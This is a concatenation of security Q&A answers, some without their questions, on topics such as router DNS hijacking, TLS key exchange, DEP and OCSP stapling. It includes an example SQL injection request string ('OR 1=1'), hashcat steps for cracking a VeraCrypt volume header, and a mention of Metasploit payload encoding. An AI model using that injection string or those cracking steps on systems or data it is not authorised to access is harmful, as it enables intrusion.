Yes, your router's primary DNS entry was pointed to a rogue DNS server to make devices in your network resolve apple.com and other domains to phishing sites instead. The router possibly got compromised through an unpatched vulnerability in its firmware.

  I have an Asus AC87U, FW Version 3.0.0.4.380.7743 (1 release behind).

Your release is over half a year old. The latest release 3.0.0.4.382.50010 (2018-01-25) comes with lots of security fixes, including RCE vulnerabilities which may have been exploited here.

  Security fixed

  Fixed KRACK vulnerability
  Fixed CVE-2017-14491: DNS - 2 byte heap based overflow
  Fixed CVE-2017-14492: DHCP - heap based overflow
  Fixed CVE-2017-14493: DHCP - stack based overflow
  Fixed CVE-2017-14494: DHCP - info leak
  Fixed CVE-2017-14495: DNS - OOM DoS
  Fixed CVE-2017-14496: DNS - DoS Integer underflow
  -Fixed CVE-2017-13704 : Bug collision
  Fixed predictable session tokens(CVE-2017-15654), logged user IP validation(CVE-2017-15653), Logged-in information disclosure (special
  thanks for Blazej Adamczyk contribution)
  Fixed web GUI authorization vulnerabilities.
  Fixed AiCloud XSS vulnerabilities
  Fixed XSS vulnerability. Thanks for Joaquim's contribution.
  Fixed LAN RCE vulnerability. An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure
  Disclosure program
  Fixed remote code execution vulnerability. Thanks to David Maciejak of Fortinet's FortiGuard Labs
  Fixed Smart Sync Stored XSS vulnerabilities. Thanks fo Guy Arazi's contribution.
  -Fixed CVE-2018-5721 Stack-based buffer overflow.

(Source)

Although Asus doesn't publish bug details, attackers may have independently discovered some of the vulnerabilities patched in that release. Diffing firmware releases to reverse-engineer what parts were patched is usually quite straightforward, even without access to the original source. (This is routinely done with Microsoft security updates.)  Such "1-day exploits" are comparatively cheap to develop.

Also, this looks like it's part of a more wide-spread recent attack. This tweet from three days ago seems to describe an incident very similar to what you experienced:

  My ASUS home router was apparently hacked and a rogue DNS server in Dubai added to the configuration. It redirected sites like http://apple.com  to a phishing site that (I think) I caught before my children gave away their credentials. Check your routers kids.

(@harlanbarnes on Twitter, 2018-03-09)

  [...] my browser warned me (Google Chrome) saying this website was not secure. [...] I began to suspect maybe my Mac machine had been infected [...]

The fact that you got certificate warnings makes it less likely that an attacker managed to get into your machine. Otherwise, they could have messed with your local certificate store or browser internals and wouldn't need to conduct a blatant DNS change.

  No one has access to my router administration page aside from me on the network

Even if your router interface isn't visible from outside your network, it can be vulnerable to a range of attacks. As an example, take this Netgear router arbitrary code execution exploit from a while ago which had Netgear routers execute arbitrary commands sent as part of the URL.

The idea here is to trick you into visiting a prepared website that makes you conduct the attack yourself by issuing a specially crafted cross-origin request to the router interface. This could happen without you noticing and wouldn't require the interface to be remote accessible.

Ultimately, the given information doesn't reveal the exact attack path. But it's plausible that they leveraged vulnerabilities in your outdated firmware release. As an end user you should at least update your firmware as soon as possible, do factory resets if necessary, and keep your router interface password-protected even if it's only accessible from the intranet.


Are there any web services which use any other form of authentication, than passwords?

Some ways of authentication that you haven't mentioned: third party (login with Facebook, Google) authentication, 2 factor authentication (text message, call to your phone, challenge-response token)


What part of the CSR is hashed in order to create its signature?

I figured out the answer to my question and post it here for reference.

Generate fresh key pair and CSR

openssl req -out csr.der -new -newkey rsa:2048 -nodes -keyout privateKey.der -outform DER

Modify csr.der to modified_csr.der

Extract the sequence (which starts at offset 4) of the CSR that's hashed for the signature

openssl asn1parse -in modified_csr.der -inform der -strparse 4 -out part_of_CSR_thats_hashed

Create new signature

openssl dgst -sha256 -sign privateKey.der -out new_signature part_of_CSR_thats_hashed

Merge modified_csr.der and new_signature to new_csr.der

head -c $(( $(stat -c '%s' modified_csr.der) - 256 )) modified_csr.der > new_csr.der
cat new_signature >> new_csr.der

Verify new CSR

openssl req -in new_csr.der -inform DER -noout -text -verify

Convert CSR to PEM

openssl req -outform PEM -inform DER -in new_csr.der -out new_csr.pem


The procedure should be the same as for TrueCrypt, as documented in the hashcat FAQ.

You'll need to extract the first 512 bytes of the target volume, save them as a file, and use that file as the hashcat target. (Boot drives require pulling the 512 bytes starting later in the drive, but non-boot drives can be treated like file-level containers, pulling the first 512 bytes.)

On Windows, you can use dd for windows to do so. Use dd --list to determine the drive ID for the drive, and then:

dd if=\\.\Volume{volume-guid} of=c:\temp\veracrypt-target.img bs=512 count=1

and:

hashcat -a 3 -w 3 -m 137xx c:\temp\veracrypt-target.img

(with the hashcat command modified to match your attack type).


Is it possible to slow down the Blue Midnight Wish cryptographic hash function?

You don't increase hash time (I surmise it is for hashing passwords) by tuning the hash function from within -- especially one which has been optimized to be very fast. You get slow hash time by integrating the hash function in a larger structure which runs many iterations. In any case you would not want a slowdown by a factor of 2 or 3, rather 200000.

See this answer for a primer on hashing passwords. See this site for an ongoing open competition to design better password hashing functions.


DB Service accounts: is it possible to avoid storing a password somewhere

Windows Integrated Security allows you to use the account already running the application to login to the database thus avoiding the need to put a password in the connection string inside the configuration file

https://msdn.microsoft.com/en-us/ie/aa984236(v=vs.94)


In simple terms, both do the same thing, but SFTP sets up an encrypted tunnel first. This is important because without it, the username and password people use to log in can be read by anyone who can see the traffic.

SFTP is recommended if you care about the files staying private.


What would be the impact of a CVE-2015-9251 vulnerability?

Is this a limited vulnerability?

It is limited in the sense that the vulnerability can only apply if your application is querying via $.get an untrusty/compromised website.

  What could be its possible effects?

As per the CVE, your application would be vulnerable to XSS and all of its implications.

  Should it be treated dangerous?

As much as any XSS execution in your application would be.


How do I import a PKSC#12 private key into Java 5 (which may require PKCS#7)

Easiest way is probably to import it on a system that supports PKSC#12 and then export in a different format (assuming there aren't any rules in the cert about not allowing re-export, not sure if that is even possible in PKSC#12 or not though).


Are there security or privacy concerns in using YaCy as a substitute for Google or Duckduckgo?

I would be concerned with search poisoning (as mentioned in the wiki). If search results are coming from peers, you will not know how valid those searches are. This means that a malicious peer could redirect users to non-valid sites for phishing or browser infection.


Making the injected payload "not executable" is what Data Execution Prevention is about. There are various techniques to achieve that, depending on what the underlying hardware can do. On most architectures, this will be done through the MMU: pages that are supposed to contain "data" (e.g. the stack) are marked as non-executable.

Old x86 CPU makes DEP a bit challenging because the original MMU from the 80386 does not distinguish between "read" and "execute" accesses; thus, it does not allow memory to be marked as unexecutable while still being readable. DEP can still be done to some extent with the help of segment registers, albeit with less flexibility (basically you can make the whole stack non-executable, but it is hard or impossible to repurpose memory chunks dynamically). Another method called PaX allows for separating "read" and "execute" access rights on a per-page basis, but this requires some juggling with the TLB, and has a runtime overhead (TLB misses trigger CPU exceptions). See this answer for details.

Newer x86, and in particular all x86 CPU that can run in 64-bit mode, have a MMU that natively knows how to distinguish between "read" and "execute" (this is called the NX bit) making these segment or PaX games obsolete.

The so-called "W^X policy" (read it as "Writeable exclusive-or eXecutable") states that the OS should never let a piece of memory to be both writeable and executable at the same time, so if the payload could be injected (i.e. written to a chunk of RAM) then it cannot be executed until some explicit access rights change is performed on the page (and, presumably, the target code has no reason to do such a change).

DEP is not a panacea; attackers have now learned to use existing pieces of code, already in RAM and marked executable, to serve as payload. Lookup Return-Oriented Programming for details.

Not allowing point 3 would be a more comprehensive method to prevent successful attacks; unfortunately, some widespread traditional programming languages (C and C++, namely) are poor at that task. Control-flow diversion occurs as a consequence of an uncontrolled memory access (buffer overflow, use-after-free, double-free...) that the language allowed to happen because it does not check for such occurrences. The developer is supposed to add all the necessary checks. It so happens that even the best developers with the most thorough development practices still occasionally fail to do so.


Understanding risk analysis and threat modelling in practice

Both terms are very slippery.

There are multiple risk analysis methodologies and they use different vocabulary and different assumptions.  FAIR and the tire swing analogy are a good introduction, and if you can find Tony Cox's video, that is another good source.  NIST 800-37 is an alternative methodology.  OWASP has another.

Threat modelling is going through a renaissance - I did a google search and turned up the OWASP link that @Limit provided (and Limit deserves the credit because that is your best, first source) and a half dozen others.  But there are NIST threat models, and some really creative thinking about a hierarchy of indicators of compromise. (You'll have to search the blogosphere - Bloor, OpenIOC, Chuvakin - I can't find the one I want that clearly shows a hierarchy diagram).    The summary here is that we are at a tipping point - we now can collect enough data and do enough analysis to leverage threat intelligence to produce real gains in security. A decade ago, threat modelling was mostly theoretical and didn't have as strong an impact.

Personally I do risk assessment & analysis first, but I have to do a preliminary threat model during the risk analysis.  My tech lead does the opposite, but he has years of doing advanced threat modelling.

I can't give you an example of a threat model - threat models are expensive to produce and we don't give those away.  But if you know that 30% of the malware coming into your network use one malware toolset, you can configure your defenses to take advantage of that.  Or if you know that across all the different malware campaigns, 70% of them attempt exfiltration as the payload/mission, then that will influence how you invest and configure your defenses.  Threat models tell you what your adversary wants; if you know what the adversary wants, you have the opportunity to more effectively deny the adversary.


SSL Certificate - is passphrase necessary and how does apache know it?

If you protect your private key with a passphrase, then Apache is unable to use it unless you supply Apache with the passphrase each time it restarts or you reboot.  And since keeping that passphrase stored in the filesystem would defeat the point of the passphrase, that means having some sort of method to pass the passphrase to Apache from externally, each time it restarts or you reboot.

Some people do this, but its impracticality means most people use a non-encrypted private key.

If your private key is not encrypted, then its protection comes from the fact that only your superuser can read it, and therefore relies heavily on the integrity of the system and how susceptible it is to privilege escalation or the like.

If your private key is compromised then you can go to the signing certificate authority and ask them to revoke the certificate.  Revocation is not a magic bullet however with some systems not checking for revocation and a typical delay between revoking a certificate and the information about the revocation being checked.

  once my private key gets compromised, they hacker will be able to decrypt everything that was encrypted using my key.

This scenario is the kind of thing forward secrecy is designed to prevent. In TLS the two communicating parties can, if they both have the necessary support, negotiate settings which enable forward secrecy, so that in the event the private key is compromised it's still impossible to decrypt past communications.

The SSL Server Test can check to see if Forward Secrecy, among other things, is working on your server.


Ressources for Windows forensic analysis?

I think "Malware Forensics Investigating and Analyzing Malicious Code" would be a good place to start.

I'd highly recommend Russinovich's tools you can download here

Also, there are some practical challenges online to get you started here
 and here


Is my Postfix and Dovecot configuration secure?

Regarding encryption, your postfix and dovecot configuration was fine enough to send and receive email, especially encryption-related configuration. Your SSL configuration was safe enough to secure the email transportation when travel from and to your server.

Anyway, in the question you don't specify how your MTA handle mail client. For that, you should force mail client to go through encryption. For postfix, set smtpd_tls_security_level = encrypt for submission port should be enough.

You still half way to securing public mail server, as earlier specification of  SMTP wasn't designed for security. You need think about securing from malicious email

Regarding outgoing email, you need to secure mail server so (1) it won't become open relay (fortunately your comment about smtpd_recipient_resctriction indicating that you won't become open relay). Another concern is (2) spammer hijacked your user/password (via phising or weak password) and start to pump out spam from the server or (3) the web/server was compromised and spammer treat your mail server as spam bot. Many question on SO and SF deal with this stuff :)
Regarding incoming email, the user should be kept safe from spam, malicious email, phising and another threats who use email as vector. You can setup SPF, DKIM add-on to postfix to help it battle against email spoofing. Spam and virus can also be filtered via external content filter from postfix.


Is no access control on file upload/file download of safe types considered a vulnerability

Assuming nothing malicious is able to get through (a huge assumption, which I would assume to not be possible!). Without access control you will possibly attract:

DOS by bulk upload
Possible illegal content sharing (including kiddy
porn...)
Zero day vulnerabilities in files that you cannot protect
from (this falls outside of your assumption as the assumption must be
that there are always undetected vulnerabilities);
You will have no way to block accounts or people (IP's are dynamic...) when the police come nocking
Check your local countries laws on who is responsible for the content. In case of kiddy porn it might be that you can be held responsible!

Hopefully this helps a bit?


How can I create a secure auto-login? (java)

There are many many ways to do login mechanisms, and it's a pretty complex topic. This is too broad a question for me to give you a full answer, so just some pointers.

Mandatory "don't roll your own" warning:

If you are building this app for your own learning, then carry on good sir! But if you are building this for a real website, then please find a web framework (like springboot/springsecurity) that has implemented all the login and session management for you, because there is a lot that you can get wrong.

Normally when the user logs in (ie sends the server their username / password) the server returns some sort of session token, some sort of authentication token (which may double as a session token), and sometimes also a refresh token to get a new auth token once it expires. These can take many many many forms, but common options are cookies, JWT, and bearer tokens, and each has security landmines that you need to read about and make sure you don't do.

The important thing is that every time the client sends a request (GET or POST) to the server, this authentication/session token is attached to it to tell the server which user and session this request should be part of.

If you want users to stay logged in across restarts of the client, you can save the auth / session / refresh token to disk, and use that to resume the previous session.

The details of this are a bit too complex for a StackExchange answer, but hopefully points you in the right direction, and gives you some keywords to google.


There is apparently a development branch of gcc that includes support for bounds-checking using the MPX extensions.  It looks interesting.  No performance numbers are provided.

The AddressSanitizer project has experimented with using the MPX extensions in their project, but their reactions are mixed.  They predict that for some programs this approach might be very fast, but for others it might be slow.  It's hard to know for sure.

One challenge is that no shipping processor supports the MPX (at present), so it is hard to know exactly how well or poorly this will perform.  All we can do right now is run the code inside an emulator, not run it on an actual hardware CPU.


OpenPGP key transition: strong RSA subkey under a weak DSA masterkey?

The payoff is definitely trust (keeping the old signatures) versus security (strong master key). I can't say which outweighs.

If you continue using the old DSA primary key, all messages encrypted for the new RSA subkey will not be in danger when your DSA key is compromiseds, nor are signatures issued by a new signing subkey. Given usable subkeys are available, they will be used for "day to day" work. The primary key is only used for certification and key management tasks in this case.

This means that an attacker could create new subkeys (which might be automatically picked up for encryption and issue valid signatures, of course!) and revoke the old ones, he could issue certifications, but he cannot read messages encrypted to the RSA subkeys you generated.

I'd go for the second scenario, create a new key pair and issue a certification from your old to your new key. After a time and getting some new certifications on your new key, ditch the old one by revoking it. Consider sending a key transition statement.

  When keeping the old DSA masterkey, is it possible to generate an additional new key for signatures?

You can of course add a new signing subkey, but not a subkey for issuing certifications (signatures on keys).


You don't get the raw bits of only the key when exporting it using openssl ec -pubout but a structure with more information:

$ openssl asn1parse -in pub_key.pem -dump
    0:d=0  hl=2 l=  89 cons: SEQUENCE
    2:d=1  hl=2 l=  19 cons: SEQUENCE
    4:d=2  hl=2 l=   7 prim: OBJECT            :id-ecPublicKey
   13:d=2  hl=2 l=   8 prim: OBJECT            :prime256v1
   23:d=1  hl=2 l=  66 prim: BIT STRING
      0000 - 00 04 11 5e 44 51 b0 95-4e 9b 14 42 e7 60 21 10   ...^DQ..N..B.`!.
      0010 - f0 05 5d b4 bb 76 22 6d-2e 45 66 ad 3a 89 eb f2   ..]..v"m.Ef.:...
      0020 - 15 00 57 89 29 98 ce 84-5e b2 58 83 fb 8d 7a 59   ..W.)...^.X...zY
      0030 - 6d 11 2e 5d c3 7c e1 df-4a c9 ce a6 94 89 61 2a   m..].|..J.....a*
      0040 - dc 06

Thus, you get essentially 91 binary octets which translates to 124 characters when encoded as base64.


Requesting administrative access in a company

This is probably not the answer you'd expected, but bear in mind that whatever solution you come up with must work for all stakeholders, including the employees who are requesting access.

Who are these employees? What do they need access to? Typically, what for? You should probably talk to your colleagues and ask them, in fact. For instance, what do you do if:

the authorized person goes on annual leave and a colleague needs temporary access to the system to continue providing service to clients?
the manager in charge of validating authorisation requests goes sick, missing or is just generally slow?
the IT people in charge of reviewing and revoking permissions don't know why a person had a permission in the first place?

Some hints on these typical organisational security questions in the excellent "How Users Bypass Access Control and Why: The Impact of Authorization Problems on Individuals and the Organization" paper!


What can't a packet sniffer troubleshoot

They greatly help with figuring out WHAT is happening at the network level, but they rely on your intelligence for figure out WHY it is happening.

It someone says "I can't access google.com" a packet trace might show you the DNS query, the outbound packet, and a lack of response. But it won't tell you WHY there's no response.

Another practical problem is the amount of data, which gets very large quickly. This is why tools like interactive proxies are often more useful for investigating application layer issues.


I am assuming you are talking about these in context of TLS, particularly TLS ciphers. There seems to be some confusion around the what each component does. It is all easier to understand if you see the whole picture so here it is.
During a TLS handshake the following things happen: authentication, key exchange. The details about these depend on the so called cipher suite. Here is a sample.
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

This basically says the following.

The server will serve a certificate, which contains an RSA public key. This will be used for authentication.
The key exchange will be done using ECDHE.
The symmetric cipher used after the key exchange will be AES-GCM with a 128 bit key.
The PRF (pseudo-random function) to use during the exchange is SHA256 (it may also indicate the MAC w/ older TLS versions).

Look closely and you will see how all these are represented in the cipher suite.
Now let's see what these might mean: ECDHE-RSA, Static DH, RSA

ECDHE-RSA = server randomly generate a DH-key pair because the
certificate has no sufficient information to send over to client for
master secret generation. The DH public key is sent in "server key
exchange" packet. The secret will never be sent in the wire. The "RSA"
in the cipher suite refers to the random DH public key signature, but
not the certificate signature

You are on the right track here, and now, with the knowledge about the whole picture, it is easier to understand this. During a "classic" key exchange, the public key in the certificate (and its private pair) is used to agree on a symmetric key. This, however, creates problems if the server's key is ever compromised. If private key corresponding to the public key in the certificate is ever stolen, previously recorded traffic can be decrypted at ease.
This is something we generally want to avoid. Enter Forward Secrecy. The protocol introduces the possibility to have a separate key exchange which does not depend on the RSA key pair that much. The algorithm usually used for this is called Diffie-Hellman.
For DH to work you need the so called DH-parameters, which are basically a prime modulus and a generator. These parameters are public. These are precomputed during the server setup time and shared with each client during the key exchange. Clients in cooperation with the server then use these parameters to agree on a key without actually sending it over the wire, just like you said. Here is a great video about this from the Khan Academy. The DH-key pair's private key is essentially the private number in the video. While the public key is what is sent on the wire.
To sum it up, ECDHE is Ephemeral Elliptic Curve Diffie-Hellman, which is DH over elliptic curves. The ephemeral part refers to the fact that each connection uses a different, randomly generated DH-key pair.

Static DH = server has a fix DH public key in the certificate, it will
be used by the client for share secret generation. The secret will
never be sent in the wire. Since information is enough, server key
exchange message is not needed

Static DH refers to the server choosing the same DH key-pair for every client connection (private number in the video). Or, like you suggested, it can be embedded in the certificate. This allows passive monitoring of TLS connections. This essentially disables forward secrecy.

RSA = Client will use server's public key to encrypt the PMS and send
over to server, server will decrypt the PMS and generate the same PMS.
The secret is sent in the wire

Exactly so.
Now, arriving at your question.

"RSA public key" in the certificate, for TLS-RSA, is used by the
client to encrypt the PMS. It can be seen at "client key exchange"
packet. Then What is its function in the case of TLS-ECDHE-RSA?

Now, this is easy to answer. When there is an explicit key exchange algorithm, the key in the certificate (RSA public key in this case) is only used for authentication. Making sure you connect to the host you intend to by validating the certificate chain and verifying that the server holds the private key for the given certificate's public one. It will also sign the DH-public key it sends to the client with its RSA private key, which the client verifies during the handshake.


What is Ingress filtering and how does it work?

I know that Ingress filtering is used to try and verify that a packet
  actually came from the ip address that it claims to have come from.
  But how is it possible to verify this when all you have is the packet?

Ingress filtering verifies that the source IP address in the packet is on the list of allowed source IP addresses.  It has no way to verify if the packet actually came from there or not.

  What are you checking against?

It's checking the IP in the packet against the list maintained on the filter.  If the filter only allows 192.168.1.0/24 source addresses, and a packet with a 172.16.1.23 source address arrives, it will not allow that packet in.  On the other hand, a packet with a 192.168.1.45 source address will be allowed in.

  Perhaps an explanation of how ip address spoofing works would help.

In IP spoofing, the client creates a packet with a bogus source address.  When the filter looks at that packet, it will trust the source address it sees, and let it in.  IP address spoofing is the method used to bypass ingress filtering.  However, any responses to that packet will go, not to the malicious sender, but to the unsuspecting owner of that forged source address.  This limits IP spoofing's usability to cases where

You don't need a session of packets back and forth, or
You control network infrastructure necessary to abuse that return path.

You might want to read about the Mitnick Attack which is perhaps the most famous example of someone managing to spoof an address and make it work long enough to get something out of a session.  In effect, he managed to fake a session with a forged source address by a) predicting the server's behavior that he couldn't see and b) suppressing the natural responses of the spoofed target to "unsolicited" packets.

IP spoofing is most commonly seen with things like DDoS attacks, where the attackers will send spoofed packets because they don't care about a response - they're just trying to flood the victim with packets.  Altering the source address makes it easier to disguise the source of the attack and harder to filter (as the spoofed address can change whenever it wants to).

You will also see "Egress Filtering" mentioned - in the DDoS case, this means that when a cable modem user in Hoboken, New Jersey sends a packet out, his ISP will verify that it's using one of their addresses, and drop or block it if it isn't.  If all the ISPs did Egress Filtering, then DDoS wouldn't be able to use spoofed addresses to confuse the defenders.  Sadly, it falls under the category of "doing something right that benefits other people but not the person who has to do it," so it isn't as common as it should be.


Securing Authentication Tokens Stored in the Server-Side Database

Your tokens are passwords, except you don't let users choose weak passwords. I think they should be hashed in the db. Because they have a lot of entropy (I recommend base64 of 15 bytes read from /dev/urandom), you can use a single round of SHA-256. If you don't think 120 bits of entropy is enough, use 30 bytes. Anyway GPU can't check all combinations.


How to protect a server against Cloud Hopper?

The way to protect yourself from a compromised cloud service is to not store sensitive data in the cloud. "The cloud" is, as it is often repeated, essentially just a bunch of computers somewhere else.

Cloud solutions are a good idea if your demand fluctuates wildly, and providing enough performance to keep up with the peak is just overkill for you. Good examples for this would be computationally-intensive tasks, which need to be done rarely.

The problem with basing your entire business (or parts of your business) permanently in "the cloud" is that you effectively store some parts of potentially sensitive data "somewhere else" and thus depend on the security of someone else.

The general rule of thumb for cloud services should be: If you cannot afford to disclose some information to the public, don't put it in the cloud.

It should also be noted that not informing customers of a security breach, especially one that may include their personal information or may further compromise their own security, is illegal in some jurisdictions. I'm not a lawyer, but the EU doesn't joke around when it comes to disclosure of security breaches. Should anyone notice that a cloud service provider got breached, that the cloud service provider knew and that they chose not to inform customers - then they are in a very bad spot. Probably much worse off than had they informed customers right away.


I want to host a server from my home computer; safe?

Of course, I am extremely scared of doing this; in the design on my site I have followed every security guideline I know of, but I'm scared attackers will still be able to get at other devices on my local network or access to my own personal computer (from which I intend to host the server.)

Well...

  in the design on my site I have followed every security guideline I know of,

These guidelines don't mention anything about not having public-facing assets on the same network segment as resources you're concerned about? If you were a shopkeep would you leave your money just sitting in a pile on the same counter you serve customers from?

Personally I'm a strong proponent of not hosting web services from your home connection. Several reasons:

99% chance you are violating the terms of your agreement with your ISP.
If you get compromised and your computer is used to serve spam, your ISP may cut off your internet access altogether.
If you get compromised and your computer is used to serve Very Bad Things, you're going to have FBI agents serving search warrants to your home and confiscating all your personal gear.
You violate what little security and privacy you have on your home LAN by opening up an exploitable public-facing entrypoint.

All of these things could be avoided with a $5/10-a-month webhost.

No EULA violations for hosting a web site (that's what you're paying for!).
At worst your host sends you an angry letter and stops hosting your site.
The FBI confiscates your host's equipment instead of yours.
You get more peace of mind at home.

DigitalOcean is the cheapest I've seen at $5, you can get AWS down to $6-7 a month with a fixed contract, or most other hosts charge $10. Scrape together a wad of cash and buy a disposable credit card if you must.

As a result of not being a cheapskate you will avoid a world of problems.


What are security issues about sending bank alerts via email/SMS?

Depending on the attacker, they probably won't care much about the meta data for your transactions
If someone was targeting you specifically, because you are a high profile target, then they may want this information as a part of their reconnaissance.
Assuming you are not a high profile target that needs to be concerned about attackers reading your emails, you don't have to worry too much about the emails being sent in clear text. Assuming your bank is not sending your personal information or credentials. This is more of a privacy concern than a security one.
The attacker may be more interested in intercepting One Time Passwords (OTP)
If you choose email and the attacker hacks your email account, they may set up forwarding from your email account to one they own, along with rules to "Move messages from X Bank to Trash". They would do this to get any one time passwords sent to that email address without you noticing.
Don't reuse password between your account, and set up multi-factor authentication if your email service supports it.
SIM Swapping, though more rare, poses the same threat
Using a mobile phone for communication with your bank, would require the attacker to gain control of your phone's number. Note, them stealing your physical device is not the same thing, in that case you can have your carrier prevent messages from going to that SIM/Device. SIM Swapping is technique where the attacker convinces your cell phone carrier to forward messages to a new SIM/Device--details of this attack are outside of the scope of this question. There are more details on that here.
Push notifications cannot be forwarded like the other two, but also would not be used for OTP
Push notification would not (read: should not) be used for One Time Passwords, because that would be assuming the device is already trusted, thus defeating the purpose.
The attack vector you should be most concerned with is Phishing
Which ever one you decide on, it is important not to trust notifications that come in the other forms (i.e. if you subscribed to email notification, don't trust text notification and visa versa).
Also, each one is susceptible to phishing in a different way: email will be sent to you from weird addresses pretending to be your bank, same with text messages, push notifications may be sent from another app pretending to be the banks app. Each one of these phishing vectors require you to take certain precautions:

Always confirm the address of the sender, before clicking on links or downloading the remote content of an email
Do not reply with your credentials or personal information in any correspondence with your bank, via email or text (your bank should not ask you to do this for any reason)
Don't download apps you don't trust
Don't visiting websites you don't trust while logged in to your bank
Research Phishing and how to prevent it, because it is mostly about being cautious, which judging by your question you already are

All three have vulnerabilities
It seems you already know this, but no method is perfect, and each one presents its own risks. It will be up to you to decide which one you are most comfortable with, and be alert against phishing attempts.


Dealing with a large number of bad chars

It's impossible to tell whether this specific case is exploitable, but the answer is usually yes. Generating exploit code that avoids certain bad characters is a well-known problem with mature solutions. The exploit payload generator in Metasploit includes an encoding step which takes care of this: you tell it what characters to avoid and it builds a decoder that avoids these characters. You can try it out for yourself.

If you're new to this, keep in mind that just because you don't manage to build an exploit doesn't mean that there isn't one. A good black hatter can often find solutions even where Metasploit gives up.


What do I do about a forgotten, ancient PGP key?

A DSA 1024 certificate will not be very easy to crack, not even having a high performance cluster at hand. An exception might only be if generated using weak random data, for example because of the Debian random flaw.

If you have lost control over the private key, and do not have a revocation certificate, you cannot do anything about it. Key server data cannot be deleted, and you cannot modify or revoke the key without having the private key (or as a special case, revoke it with a revocation certificate.

To designate that a key should not be used, you can issue a revocation for your old key. Client applications like GnuPG will not consider it and mark the old key as revoked, but most of them will at least issue a warning (so other users have a hint that something is fishy).

Generally, always generate a revocation certificate immediately after creating a new key, and store it in a place you will not lose it (ie. printed on a piece of paper, maybe inside an QR code).


What is the exact difference between regular OCSP and OCSP stapling?

OCSP stapling is more efficient than regular OCSP and provides better privacy.

The OCSP protocol is used to determine if a certificate is still valid or has been revoked. Say, you want to securely connect to a website via TLS. To be certain that the certificate has not been revoked or expired, your browser can issue an OCSP request to the corresponding certificate authority. After receiving a signed confirmation of the certificate's validity, you then continue with the TLS handshake.

This process has some downsides: Contacting the CA costs time and slows down your browsing experience. It may also create high traffic volume for the CA, discloses to the CA which website you're visiting and you always have to rely on the availability of the OCSP responder since otherwise no confirmation is possible - and you would have to decide between accepting the certificate despite  a lack of confirmation or abort the connection. For these reasons Google Chrome has dropped support for regular OCSP.

OCSP stapling avoids these problems by having the server issue the OCSP queries periodically itself. Instead of making the user perform the validity check, the web server would present you the OCSP response during the TLS handshake. It is not a security problem that the server performs the OCSP query itself as the response has been signed by the CA and includes a timestamp, thus preventing tampering. Since the server caches the response, the CAs aren't flooded with OCSP requests anymore and as a user you don't need to contact a third party to have a certificate verified which benefits your privacy.


Handling secrets and environmental variables in Docker-k8s-skaffold dev environment

Generally best practice in this kind of setup is to make use of some kind of secrets management tool. The theory is that you want secrets to be injected into containers at runtime and restrict who has access to them as much as possible.

For Kubernetes, you can use the in-built secrets resource type. There's some good documentation on it here.

One thing to watch for is that you need to enable an additional option to ensure the secrets are encrypted at rest. There's documentation on how to do this here.

If you want something more flexible, or with additional features, there are a wide array of third party secrets management tools available. Hashicorp Vault is one of the more used options here.


What is encryption method for the 3rd part of the Kryptos text?

There are a number of useful articles written about Kryptos, that are very interesting to the amateur cryptographer such as myself - your best bet for this particular question is probably Frank Corr's post on derkeiler.

  It uses two grids of dimensions 21 x
  16 and 28 x 12. The plaintext ends up
  being written into the first grid by
  row, starting at the top row, and
  removed by column, starting with the
  last column and moving backward. It is
  then run through the second grid in
  the same way.

It is much easier to understand when described like that.


You can check if one of the websites you login to with your private email was compromised as this has happened to people I know.

https://haveibeenpwned.com/ can be used to check.

It's made by a Microsoft Director as a public service.

For more information see this answer
Is "Have I Been Pwned's" Pwned Passwords List really that useful?

  The original purpose of HIBP was to enable people to discover where
  their email address had been exposed in data breaches. That remains
  the primary use case for the service today and there's almost 5B
  records in there to help people do that.


Why does "keytool.exe" with "-certreq" arg require an alias?

A certificate for a CSR is the public key of a key pair plus some metadata.  You are effectively asking a member of the trusted public key infrastructure to "vouch for" your public key as coming from you.  Once the metadata has been validated by the authority, they will issue you a certificate with your public key that is signed by the authority.

Once you have a signed certificate, follow the Oracle documentation to merge it into your keystore with your existing key pair: https://docs.oracle.com/cd/E19509-01/820-3503/ggezu/index.html.  This will overwrite your unsigned public key in the store with the signed version from the issuing Certificate Authority. (thanks Maarten Bowedes)

The authority is signing the public half of your original key pair as coming from you.  If you generate a new key pair and overwrite your alias you will effectively be writing over the private key associated with your (now valid) certificate.


Is ProxyPass more secure than directly hosting PHP site?

It would depend on your threat model, "secure against what"?

Most application vulnerabilities (PHP side) are unrelated to the web server or architecture; they will be caused by perfectly normal and legal HTTP requests being illegal or unplanned-for at the PHP application layer. E.g. the classic

GET /...login.php?user=' OR 1=1;&pass=

Against this broad spectrum of possible attacks, there's little that Apache module or NginX can do for you, and no real reason to choose the one over the other.

Then there's the possibility of directly attacking the HTTP server. It is not very likely (though it can happen) that a forged request against which Apache is vulnerable can pass through NginX unscathed, much less be reformatted to lethality to Apache by NginX itself. We can then reasonably assume that in the NginX + fastcgi structure, NginX is the only point vulnerable to such attacks.

So I think that NginX ought to provide an additional layer of security, if ran on a machine of its own, with proper monitoring and reduced privileges (of which NginX would need much less than PHP).

Then, attacking the system would result in NginX being subverted and either crashing (or otherwise betraying itself to the monitoring), and stopping the attack; or leaving the NginX box compromised and wide open to the attacker.

In this latter case you're no worse than with PHP directly exposed, as far as your application is concerned; in both cases there's nothing between you and an attacker-controlled box (only now he's operating from an unfamiliar box, and there's some slight consolation there).

As far as the rest of the world is concerned, things are now possible (and you might be held liable for them) that weren't before: e.g., the attacker's purpose might not have been to compromise your application at all, but just to gain a foothold on the NginX machine to operate as a zombie or cat's paw against somewhere else. In this scenario you've actually increased your attack surface - an attacker in search of vulnerable NginX's wouldn't have had reason to attack a PHP installation.

If NginX runs on the same machine as the PHP application, then the overall risk is increased. On a separate machine, I'd say that the risk... changes, both in type and level.

If warded against properly, it can diminish; and you can reap some benefits from being able to juggle different fastcgis with different settings, or different machines altogether to spread the load with ease. If you don't monitor and maintain the NginX box also, i.e. if you don't increase your maintenance surface and cost, then the risk may again increase.

So what this all boils down to is, it's not so much a question of NginX versus Apache module, but of what NginX deployment (and maintenance) versus what Apache deployment (and maintenance).

All the rest being equal (i.e. same level of cost and effort, on Apache alone or shared between PHP and NginX), I'd prefer to keep things simple and my attack surface small, and go with Apache module. If you think you might benefit from load balancing in the future, and are willing to shoulder the extra costs, then NginX would be a suitable choice now.


Is client-side hashing secure during password creation when verification is still done server-side?

For transmitting passwords for the first time it would be better to use public key cryptography:

You must derive password (never hash passwords directly) using a strong derivation function like bcrypt or at least a function of the HMAC-SHA* family. Use a random salt, of course.

